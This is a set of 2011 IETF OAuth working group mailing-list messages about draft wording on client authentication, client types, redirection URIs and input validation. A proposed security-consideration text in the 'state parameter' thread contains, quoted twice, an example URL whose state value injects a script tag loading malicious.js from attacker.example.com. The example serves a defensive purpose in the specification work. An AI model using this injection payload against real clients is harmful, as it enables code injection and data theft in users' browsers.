Re: [OAUTH-WG] Section 10.1 (Client authentication)
How about, add this to 10.1: When client authentication is not possible, the authorization server SHOULD employ other means to validate the client's identity. For example, by requiring the registration of the client redirection URI or enlisting the resource owner to confirm identity. The authorization server must consider the security implications of interacting with unauthenticated clients and take measures to limit the potential exposure of other credentials (e.g. refresh tokens) issued to such clients. EHL From: Torsten Lodderstedt [mailto:tors...@lodderstedt.net] Sent: Sunday, July 10, 2011 1:59 AM To: Eran Hammer-Lahav; OAuth WG Subject: RE: Section 10.1 (Client authentication) Hi, I just remembered the original aim of the text. We not just intended to list alternative means but to get a general message across: If you cannot authenticate a client considers this in your security design! Either (1) you accept the fact the respective identities can be forged and handle them as untrusted entities through your logic (as far as I remember Skylar suggested the term forgeable clients) or (2) you find other ways to establish trust in the client's identity. The effect of (1) depends on the security policy of the certain deployment and the risk associated with certain functions. It could e.g. mean to rely on the id to aggregate log entries (not critical) but never to automatically process authz processes or settle payment transaction. Examples for (2) are: redirect uri validation, relying on the user to identify the client, and (subsequently) use refresh tokens as mean for client authentication. I don't think we can give a complete list of means here since I assume some deployments will have their own capabilities. Please also note: redirect uri validation is not an adequate replacement for client authentication. It's not effective for native apps and useless if the attacker uses a native app (no matter whether the legitimate client is a web, user agent based or native app). regards, Torsten. Eran Hammer-Lahav e...@hueniverse.commailto:e...@hueniverse.com schrieb: Hey Torsten, The provided text and alternative text are just not helpful. If I am unable to understand it, I have doubt other readers will be able to. I don't know what you mean by 'other means' which are not already described in the document (based on -17). Referencing the security thread model document in a normative reference requires making it a normative reference which I am opposed to doing - the v2 document should include everything needed to implement the protocol without any additional specifications (for the core functionality). When I was asking for examples, I was hoping for something like 'for example, use x, y, or z', not a reference to about 10 pages of text (which by itself is pretty confusing, but that's a different issue - I hope to find the time to provide detailed feedback for that document). I think the current document makes a pretty good case for using the redirection URI as a form of client validation, and clearly lays out the differences between a public and private client. It has new requirements for the registration of redirection URIs when client authentication is not possible. If there are specific things the authorization server can do to improve security beyond client authentication, we should list them explicitly in the document. Can you list exactly what you have in mind by 'other means'? Just the bullet points will be enough. EHL -Original Message- From: Torsten Lodderstedt [mailto:tors...@lodderstedt.net]mailto:[mailto:tors...@lodderstedt.net] Sent: Friday, July 08, 2011 12:59 AM To: Eran Hammer-Lahav; OAuth WG Subject: RE: Section 10.1 (Client authentication) seems you are contradicting yourself. You criticised the MUST and suggested to include some examples. I bought into your argument and suggested to refer to the security doc for examples and additional explanations. That's what this document is intended for, to provide background beyond what we can cover in the core spec. And I don't think the spec already makes that point. But you are free to refer me to the respective text. regards, Torsten. Eran Hammer-Lahav e...@hueniverse.commailto:e...@hueniverse.com schrieb: I still don’t find it useful. I think the existing text overall makes this point already. EHL From: Torsten Lodderstedt [mailto:tors...@lodderstedt.net]mailto:[mailto:tors...@lodderstedt.net] Sent: Wednesday, July 06, 2011 12:48 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: Section 10.1 (Client authentication) Hi Eran, I would suggest to change it to SHOULD and add a reference to https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections 3.7 and 5.2.3. regards, Torsten. Eran Hammer-Lahav
Re: [OAUTH-WG] OAuth v2-18 comment on state parameter
This seems too verbose, considering how fundamental input validation is in general. I added the following to a new section: A code injection attack occurs when an input or otherwise external variable is used by an application in which that input can cause modification of the application logic when used unsanitized. This may allow an attacker to gain access to the application device or its data, cause denial of service, or a wide range of malicious side-effects. /t t The Authorization server and client MUST validate and sanitize any value received, and in particular, the value of the 'state' and 'redirect_uri' parameters. EHL From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Aiden Bell Sent: Wednesday, July 20, 2011 12:04 PM To: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on state parameter See below for revision, tried to follow the introduction, recommendation, example structure in 10.12 Cross-site Request Forgery and shorten my text. I'm strugging to make it clear that any internal modification to the 'state' parameter must not affect the re-transmitted value of 'state' in Authorization Response / Error Response when it originates from the authorisation server. --- Security Consideration: Code Injection Attacks Code injection attacks are when an input or otherwise external variable is used within an application where that input can cause modification of application logic when unsanitised. This may allow an attacker to gain access to client or user data, cause Denial of Service or a wide range of malicious side-effects. Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the state parameter described in section 4.1.2 is correctly sanitised for internal processing, storage or output outside the scope of the OAuth protocol. Failure to correctly sanitise the 'state' parameter can cause code injection attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is used. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=access_deniedstate=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- On 20 July 2011 19:40, Eran Hammer-Lahav e...@hueniverse.commailto:e...@hueniverse.com wrote: Take a look at how the other sections in the draft setup the premise first and give a quick explanation of the attack... EHL From: Aiden Bell [mailto:aiden...@gmail.commailto:aiden...@gmail.com] Sent: Wednesday, July 20, 2011 11:38 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on state parameter Been following this discussion I'll propose some text, though it seems to me it is getting into the realm of Don't trust inputs It is also worth noting that signing the request using something like the HMAC extension elevates any problems where you DO need to evaluate the state parameter in some way where the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly but, someone may do it). Really though, just seems like general application security advice rather than OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the state parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to processing for their application's requirements. Modifications, for security or otherwise to the 'state' variable contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authorization Response or Error Response as the response 'state' value MUST be identical to the value in the request. If the 'state' parameter passed between client and server contains a value which is interpreted or otherwise placed into a context that requires evaluation of the unmodified value then a cryptographic scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used to verify request authenticity. It should be noted however than a cryptographically authentic request may still contain malicious code if the client or server integrity can not be
Re: [OAUTH-WG] Issue 15, new client registration
How about confidential/open? EHL -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Eran Hammer-Lahav Sent: Friday, July 22, 2011 2:12 PM To: Torsten Lodderstedt; OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 1:59 PM To: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration 2.1 Client types I'm struggeling with the new terminology of private and public clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wording misleading. I would suggest to change it to something like trusted/untrusted or authenticated/unauthenticated or Verifiable/Forgeable. I'm open to changing the names. I don't like trusted/untrusted because OAuth does not define trust. The authenticated/unauthenticated pair is also not ideal because the terms describe the outcome, not the nature of the client. As for verifiable/forgeable, I think these terms are too complicated for a casual reader. My intention with public/private is to identify the nature of the client credentials. So a more verbose version would be 'public credentials/private credentials'. This also works with 'code' instead of 'credentials'. It's clear from the past year of discussions that we need terminology to describe these two types. Any other suggestions? EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 15, new client registration
Thanks for the feedback. -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 1:59 PM 2.1 Client types I'm struggeling with the new terminology of private and public clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wording misleading. I would suggest to change it to something like trusted/untrusted or authenticated/unauthenticated or Verifiable/Forgeable. One alternative is confidential/open or confidential/public. Moreover, I think merging the text on client types in section 10 into section 2.1 would make sense for the following reasons: - there is large overlap between them - It would introduce the term native application before it is used for the first time in Section 9 Done. 2.2. Registration Requirements Why is the redirect URI a MUST? It should be a MUST for clients using the implicit grant and probably for private clients but why generally? I would suggest to change this to RECOMMENDED. It is a qualified MUST because you follow the reference. But I'll fix it to make it read better. 2.4 Client Authentication In addition, the client and authorization server establish a client authentication method suitable for the client type and security requirements of the authorization server. Does this hold true for public clients? New text: If the client type is private, the client and authorization server establish a client authentication method suitable for the security requirements of the authorization server. The authorization server MAY accept any form of client authentication meeting its security requirements. Private clients are typically issued (or establish) a set of client credentials used for authenticating with the authorization server (e.g. password, public/private key pair). The authorization server SHOULD NOT make assumptions about the client type or accept the type information provided without establishing trust with the client or its developer. The authorization server MAY establish a client authentication method with public clients. However, the authorization server MUST NOT rely on public client authentication for the purpose of identifying the client. 2.4.1 Client Password Clients in possession of a client password MAY Why not SHOULD? I rather never recommend Basic for anything... If the server supports DIGEST or better forms of password authentication, I don't want this text to imply Basic takes precedence. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2)
-Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 2:15 PM The authorization server redirects the user-agent to the client's redirection URI previously established with the authorization server during the client registration process. Conflicts with section 3.1.2.3, which allows to pass a redirect_uri via URI query parameter. Added 'or when initiating the authorization request' 3.1.2.1 Endpoint Confidentiality What does endpoint confidentiality mean? Which endpoint does this text refer to? The client's redirect_uri endpoint? This is a sub-section of the Redirection URI endpoint. 3.1.2.5. Endpoint Content As this section discusses security aspects of the client's implementation of the redirect_uri page, shouldn't this go to the security considerations section? I think it is important enough to appear earlier. It is part of my effort to integrate concrete normative language from the security sections up to the protocol sections. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 17, new token endpoint Client Authentication section (3.2.1)
True. -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 2:19 PM To: OAuth WG Subject: [OAUTH-WG] Issue 17, new token endpoint Client Authentication section (3.2.1) just a minor issue In addition, this specification does not provide a mechanism for refresh token rotation. The spec provides a mechanisms. It allows for the issuance of a new refresh token with every request to referesh an access token. regards, Torsten. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Comments on -18
-Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 2:49 PM To: OAuth WG Subject: [OAUTH-WG] Comments on -18 section 1.5 (A) The client requests an access token by authenticating with the authorization server, and presenting an authorization grant. This statement does not reflect that client authentication is not always required. Proposal: The client requests an access token by presenting an authorization grant. The authorization server may require the client to authenticate as a pre- requisite. The general design for fresh tokens does include authentication. Yes, the normative text allows you not to, but this is the general case and I like the simpler text for the introduction. section 4.1 (D) The client requests an access token from the authorization server's token endpoint by including the authorization code received in the previous step. When making the request, the client authenticates with the authorization server. Same as above. Proposal: When making the request, the client may be required to authenticate with the authorization server Same. Section 4.1.3 makes this clear. (E) The authorization server authenticates the client, validates the authorization code, and ensures the redirection URI received matches the URI used to redirect the client in step (C). Same as above. Additionally, is the URI check also required if the client did not passed a redirect uri but relied on its pre-registered redirect_uri? This is the overview. Section 4.1.3 provides the specific requirements. section 4.1.1 state parameter: Would it make sense to elaborate on the usage of this parameter and its importance for preventing CSRF attacks (incl. the nessessary entropy)? Alternatively, a reference to the security consideration section could be added. I think we got this covered. I rather not start pointing to the security section from the sections above. section 4.1.3 If the client type is private or was issued client credentials ... Isn't the later the most important property of a private client? If so, or was issued client credentials is redundant. All private clients must authenticate, but also public clients with issued credentials. section 4.4.3 A refresh token SHOULD NOT be included. Why not MUST NOT? This was debated a while back and the consensus was that there is no reason to restrict this to a MUST NOT. Someone might even had plans to issue refresh tokens using this flow. section 5.2 The authorization server MAY return an HTTP 401 (Unauthorized) status code to indicate which HTTP authentication schemes are supported. Given the usage of HTTP authentication schemes is the way to authenticated client recommended by the spec, status code 401 should be the default status code for this kind of error. Usage of status code 400 should be the exception. unauthorized_client So above - status code 403 seems to be a more appropriate default. I think this is fine unchanged. section 10 and furthermore that rotation of the client authentication credentials is impractical. What does this mean? I'll take it out. I don't remember who suggested it (Brian?). Please update reference [I-D.lodderstedt-oauth-security] to [I-D.ietf-oauth- v2-threatmodel]. Done. section 10.2 last sentence: ... ensure the repeated request comes from an authentic client and not an impersonator. The authorization server must ensure that the request comes from the same client not just any authentic client. So I would propose to adjust the text as follows: ... ensure the repeated request comes from the original client and not an impersonator. Ok. section 10.3 Access token (as well as any type-specific attributes) MUST ... does type- specific refer to access token type specific? If so, please add this information. Ok. section 10.6 Please replace the first sentence with the following text: Such an attack leverages the authorization code ... That reads funny. How about 'An attacker can leverage...' EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
[OAUTH-WG] I-D Action: draft-ietf-oauth-v2-19.txt
A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Web Authorization Protocol Working Group of the IETF. Title : The OAuth 2.0 Authorization Protocol Author(s) : Eran Hammer-Lahav David Recordon Dick Hardt Filename: draft-ietf-oauth-v2-19.txt Pages : 62 Date: 2011-07-25 The OAuth 2.0 authorization protocol enables a third-party application to obtain limited access to an HTTP service, either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-19.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-19.txt ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
[OAUTH-WG] Draft -19
Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and the request being discussed on the list to change the public/private client type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth v2-18 comment on state parameter
Sounds good Eran On 25 July 2011 07:37, Eran Hammer-Lahav e...@hueniverse.com wrote: This seems too verbose, considering how fundamental input validation is in general. ** ** I added the following to a new section: ** ** A code injection attack occurs when an input or otherwise external variable is used by an application in which that input can cause modification of the application logic when used unsanitized. This may allow an attacker to gain access to the application device or its data, cause denial of service, or a wide range of malicious side-effects. /t t The Authorization server and client MUST validate and sanitize any value received, and in particular, the value of the ‘state’ and ‘redirect_uri’ parameters. ** ** EHL ** ** ** ** ** ** *From:* oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] *On Behalf Of *Aiden Bell *Sent:* Wednesday, July 20, 2011 12:04 PM *To:* OAuth WG *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on state parameter ** ** See below for revision, tried to follow the introduction, recommendation, example structure in 10.12 Cross-site Request Forgery and shorten my text. I'm strugging to make it clear that any internal modification to the 'state' parameter must not affect the re-transmitted value of 'state' in Authorization Response / Error Response when it originates from the authorisation server. --- Security Consideration: Code Injection Attacks Code injection attacks are when an input or otherwise external variable is used within an application where that input can cause modification of application logic when unsanitised. This may allow an attacker to gain access to client or user data, cause Denial of Service or a wide range of malicious side-effects. Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the state parameter described in section 4.1.2 is correctly sanitised for internal processing, storage or output outside the scope of the OAuth protocol. Failure to correctly sanitise the 'state' parameter can cause code injection attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is used. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=access_deniedstate=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- On 20 July 2011 19:40, Eran Hammer-Lahav e...@hueniverse.com wrote: Take a look at how the other sections in the draft setup the premise first and give a quick explanation of the attack… EHL *From:* Aiden Bell [mailto:aiden...@gmail.com] *Sent:* Wednesday, July 20, 2011 11:38 AM *To:* Eran Hammer-Lahav; OAuth WG *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on state parameter Been following this discussion I'll propose some text, though it seems to me it is getting into the realm of Don't trust inputs It is also worth noting that signing the request using something like the HMAC extension elevates any problems where you DO need to evaluate the state parameter in some way where the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly but, someone may do it). Really though, just seems like general application security advice rather than OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the state parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to processing for their application's requirements. Modifications, for security or otherwise to the 'state' variable contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authorization Response or Error Response as the response 'state' value MUST be identical to the value in the request. If the 'state' parameter passed between client and server contains a value which is interpreted or otherwise placed into a context that requires evaluation of the
Re: [OAUTH-WG] Draft -19
On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: Draft 19 includes all the feedback received for -18: BTW, the diff is here: http://tools.ietf.org/rfcdiff?url2=draft-ietf-oauth-v2-19.txt /psa ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Draft -19
On Mon, 25 Jul 2011, Peter Saint-Andre wrote: On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: Draft 19 includes all the feedback received for -18: BTW, the diff is here: http://tools.ietf.org/rfcdiff?url2=draft-ietf-oauth-v2-19.txt clarifying question on section 10.1 - I'm reading this as suggested handling for the Client URI portion of a redirection endpoint - is that correct? /psa ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] OAuth 2.0 Bearer Token Specification draft -06
You're correct about the missing comma. I'll plan on updating the draft this week. To your second question, the definition of quoted-string does allow for unquoted whitespace within the quoted string. -- Mike -Original Message- From: Ian McKellar [mailto:i...@mckellar.org] Sent: Sunday, July 10, 2011 1:16 PM To: Mike Jones Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] OAuth 2.0 Bearer Token Specification draft -06 Hi, I'm reading through draft 6 of the bearer token spec and had a question about one of the examples. In section 2.4 there's an error response example when an expired token is used: HTTP/1.1 401 Unauthorized WWW-Authenticate: Bearer realm=example error=invalid_token, error_description=The access token expired I think there should be a comma after realm=example Also, I wasn't sure about spaces in the error_description. I'm digging through related linked specs to try to work out what a quoted-string should actually look like. Are spaces allowed? Should characters be backslash-quoted or percent-quoted? Ian On Wed, Jun 22, 2011 at 8:53 PM, Mike Jones michael.jo...@microsoft.com wrote: I’ve published draft 06 of the OAuth Bearer Token Specification. It contains the following changes: · Changed parameter name bearer_token to access_token, per working group consensus. · Changed HTTP status code for invalid_request error code from HTTP 401 (Unauthorized) back to HTTP 400 (Bad Request), per input from HTTP working group experts. It doesn’t change the use of 403 (Forbidden) to (401) Unauthorized as had been discussed as a possibility, also due to input from the same HTTP working group experts. I believe that this addresses all the bearer token specification issues arising from the interim working group meeting and working group discussions since then. The draft is available at these locations: · http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-06.pdf · http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-06.txt · http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-06.xml · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer-06.html · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer-06.pdf · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer-06.txt · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer-06.xml · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer.html (will point to new versions as they are posted) · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer.pdf (will point to new versions as they are posted) · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer.txt (will point to new versions as they are posted) · http://self-issued.info/docs/draft-ietf-oauth-v2-bearer.xml (will point to new versions as they are posted) · http://svn.openid.net/repos/specifications/oauth/2.0/ (Subversion repository, with html, pdf, txt, and html versions available) -- Mike ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth -- Ian McKellar http://ian.mckellar.org/ i...@mckellar.org: email | jabber | msn ianloic: flickr | aim | yahoo | skype | linkedin | etc. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
[OAUTH-WG] treatment of client_id for authentication and identification
I need to revisit a question that came up about two months ago. I thought I had a clear understanding of when client_id was and wasn't included in access token requests but drafts 18/19 seemed to have changed things (or my understanding of 16 was wrong). The question is, when is client_id a required parameter on requests to the token endpoint and when can/should it be omitted? In -16 I was under the impression that client_id was always to be included even when using HTTP Basic or other means of authentication. See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for example. But the text and examples in -18/-19 would suggest that client_id is to be omitted when using HTTP Basic. Text in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and example in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 I don't have a strong preference for either direction but do feel it needs to be more explicitly spelled out. Scenarios that should be accounted for are, for both clients in possession of a client password and clients without, using client_id/client_secret, using HTTP Basic and using other means of authentication/identification. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
[OAUTH-WG] pdf format documents are half cooked
can some one verify and publish pdf format documents again? All empty pages, starting from 6 or 7 page. all the active documets. Thanks dhiva ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 15, new client registration
I would avoid using the term open here as it has other deep-seated meanings in the software world, particularly with regard to Open Source and Open Standard stuff. FWIW, I think confidential/public or private/public are serviceable. -- Justin On Mon, 2011-07-25 at 02:45 -0400, Eran Hammer-Lahav wrote: How about confidential/open? EHL -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Eran Hammer-Lahav Sent: Friday, July 22, 2011 2:12 PM To: Torsten Lodderstedt; OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 1:59 PM To: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration 2.1 Client types I'm struggeling with the new terminology of private and public clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wording misleading. I would suggest to change it to something like trusted/untrusted or authenticated/unauthenticated or Verifiable/Forgeable. I'm open to changing the names. I don't like trusted/untrusted because OAuth does not define trust. The authenticated/unauthenticated pair is also not ideal because the terms describe the outcome, not the nature of the client. As for verifiable/forgeable, I think these terms are too complicated for a casual reader. My intention with public/private is to identify the nature of the client credentials. So a more verbose version would be 'public credentials/private credentials'. This also works with 'code' instead of 'credentials'. It's clear from the past year of discussions that we need terminology to describe these two types. Any other suggestions? EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Comments on -18
Hi Eran, section 5.2 The authorization server MAY return an HTTP 401 (Unauthorized) status code to indicate which HTTP authentication schemes are supported. Given the usage of HTTP authentication schemes is the way to authenticated client recommended by the spec, status code 401 should be the default status code for this kind of error. Usage of status code 400 should be the exception. unauthorized_client So above - status code 403 seems to be a more appropriate default. I think this is fine unchanged. Can you please give a rationale? ... section 10.6 Please replace the first sentence with the following text: Such an attack leverages the authorization code ... That reads funny. How about 'An attacker can leverage...' No one said we have to write boring text :-) Your proposal is fine. regards, Torsten. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Draft -19
A few editorial points about references: - the draft is referencing an old draft of the bearer token spec (-04), rather than the current version (-06), - the draft is referencing an old draft of the SAML bearer spec (-03), rather than the current version (-04), - the draft is not referencing the assertions spec draft-ietf-oauth-assertions-00, which would make sense in Section 4.5 (Extensions) Also, the example in 4.5 should be updated to match the current SAML bearer spec: grant_type=http%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F bearerassertion=PEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- Thanks, -- Mike From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Eran Hammer-Lahav Sent: Monday, July 25, 2011 1:07 AM To: OAuth WG Subject: [OAUTH-WG] Draft -19 Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and the request being discussed on the list to change the public/private client type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2)
Hi Eran, Am 25.07.2011 03:28, schrieb Eran Hammer-Lahav: -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 2:15 PM The authorization server redirects the user-agent to the client's redirection URI previously established with the authorization server during the client registration process. Conflicts with section 3.1.2.3, which allows to pass a redirect_uri via URI query parameter. Added 'or when initiating the authorization request' 3.1.2.1 Endpoint Confidentiality What does endpoint confidentiality mean? Which endpoint does this text refer to? The client's redirect_uri endpoint? This is a sub-section of the Redirection URI endpoint. ok, but how can an endpoint be confidential? 3.1.2.5. Endpoint Content As this section discusses security aspects of the client's implementation of the redirect_uri page, shouldn't this go to the security considerations section? I think it is important enough to appear earlier. It is part of my effort to integrate concrete normative language from the security sections up to the protocol sections. Understood and in support for this approach. Wouldn't this mean to remove some text from section 10 in order to prevent redundancies? Regarding this particular section: I think the two different issues (transport security and endpoint authenticity) should be presented separately. regards, Torsten. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Section 10.1 (Client authentication)
+1 Am 25.07.2011 02:16, schrieb Eran Hammer-Lahav: How about, add this to 10.1: When client authentication is not possible, the authorization server SHOULD employ other means to validate the client's identity. For example, by requiring the registration of the client redirection URI or enlisting the resource owner to confirm identity. The authorization server must consider the security implications of interacting with unauthenticated clients and take measures to limit the potential exposure of other credentials (e.g. refresh tokens) issued to such clients. EHL *From:*Torsten Lodderstedt [mailto:tors...@lodderstedt.net] *Sent:* Sunday, July 10, 2011 1:59 AM *To:* Eran Hammer-Lahav; OAuth WG *Subject:* RE: Section 10.1 (Client authentication) Hi, I just remembered the original aim of the text. We not just intended to list alternative means but to get a general message across: If you cannot authenticate a client considers this in your security design! Either (1) you accept the fact the respective identities can be forged and handle them as untrusted entities through your logic (as far as I remember Skylar suggested the term forgeable clients) or (2) you find other ways to establish trust in the client's identity. The effect of (1) depends on the security policy of the certain deployment and the risk associated with certain functions. It could e.g. mean to rely on the id to aggregate log entries (not critical) but never to automatically process authz processes or settle payment transaction. Examples for (2) are: redirect uri validation, relying on the user to identify the client, and (subsequently) use refresh tokens as mean for client authentication. I don't think we can give a complete list of means here since I assume some deployments will have their own capabilities. Please also note: redirect uri validation is not an adequate replacement for client authentication. It's not effective for native apps and useless if the attacker uses a native app (no matter whether the legitimate client is a web, user agent based or native app). regards, Torsten. Eran Hammer-Lahav e...@hueniverse.com mailto:e...@hueniverse.com schrieb: Hey Torsten, The provided text and alternative text are just not helpful. If I am unable to understand it, I have doubt other readers will be able to. I don't know what you mean by 'other means' which are not already described in the document (based on -17). Referencing the security thread model document in a normative reference requires making it a normative reference which I am opposed to doing - the v2 document should include everything needed to implement the protocol without any additional specifications (for the core functionality). When I was asking for examples, I was hoping for something like 'for example, use x, y, or z', not a reference to about 10 pages of text (which by itself is pretty confusing, but that's a different issue - I hope to find the time to provide detailed feedback for that document). I think the current document makes a pretty good case for using the redirection URI as a form of client validation, and clearly lays out the differences between a public and private client. It has new requirements for the registration of redirection URIs when client authentication is not possible. If there are specific things the authorization server can do to improve security beyond client authentication, we should list them explicitly in the document. Can you list exactly what you have in mind by 'other means'? Just the bullet points will be enough. EHL -Original Message- From: 